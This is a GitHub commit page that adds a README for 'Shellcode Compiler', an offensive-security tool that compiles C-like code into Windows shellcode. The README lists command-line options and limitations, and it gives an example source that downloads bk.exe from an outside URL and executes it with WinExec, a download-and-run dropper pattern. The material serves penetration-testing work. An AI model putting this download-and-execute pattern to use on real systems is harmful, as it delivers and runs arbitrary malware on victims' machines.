FazBrowse GitHub Viewer | Trending |
URL:
| Home
Tools: [Download Repo ZIP]   [Original HTTPS Page]

Update README.md · ra75/ShellcodeCompiler@c7963fc · GitHub

Repository navigation

Commit c7963fc

Browse files
authored
Update README.md
1 parent 69d67af commit c7963fc

1 file changed

Lines changed: 47 additions & 2 deletions

File tree

‎README.md‎

Lines changed: 47 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,47 @@
1-
# ShellcodeCompiler
2-
CORGI - Shellcode Compiler
1+
# Shellcode Compiler
2+
--------------------
3+
4+
Shellcode Compiler is a program that compiles C/C++ style code into a small, position-independent and NULL-free shellcode for Windows. It is possible to call any Windows API function in a user-friendly way.
5+
6+
Shellcode Compiler takes as input a source file and it uses it's own compiler to interpret the code and generate an assembly file which is assembled with NASM (http://www.nasm.us/).
7+
8+
Shellcode compiler was released at DefCamp security conference in Romania, November 2016.
9+
10+
# Command line options
11+
----------------------
12+
-h (--help) : Show this help message
13+
-v (--verbose) : Print detailed output
14+
-t (--test) : Test (execute) generated shellcode
15+
-r (--read) : Read source code file
16+
-o (--output) : Output file of the generated binary shellcode
17+
-a (--assembbly) : Output file of the generated assembly code
18+
19+
# Source code example
20+
---------------------
21+
22+
function URLDownloadToFileA("urlmon.dll");
23+
function WinExec("kernel32.dll");
24+
function ExitProcess("kernel32.dll");
25+
26+
URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
27+
WinExec("bk.exe",0);
28+
ExitProcess(0);
29+
30+
# Invocation example
31+
--------------------
32+
ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm
33+
34+
# Limitations
35+
-------------
36+
1. It is not possible to use the return value of an API call
37+
2. It is not possible to use pointers or buffers
38+
3. It is not possible to declare variables
39+
4. It is not possible to output hex strings
40+
41+
All these limitations will be fixed as soon as possible. However, many other limitations will exist.
42+
This is an Alpha version. Please report any bugs or suggestions.
43+
44+
# Author
45+
--------
46+
47+
Ionut Popescu (@NytroRST) is working as a Senior Penetration Tester for SecureWorks (www.secureworks.com).

0 commit comments

Comments
 (0)

Back | FazBrowse Home | New Git URL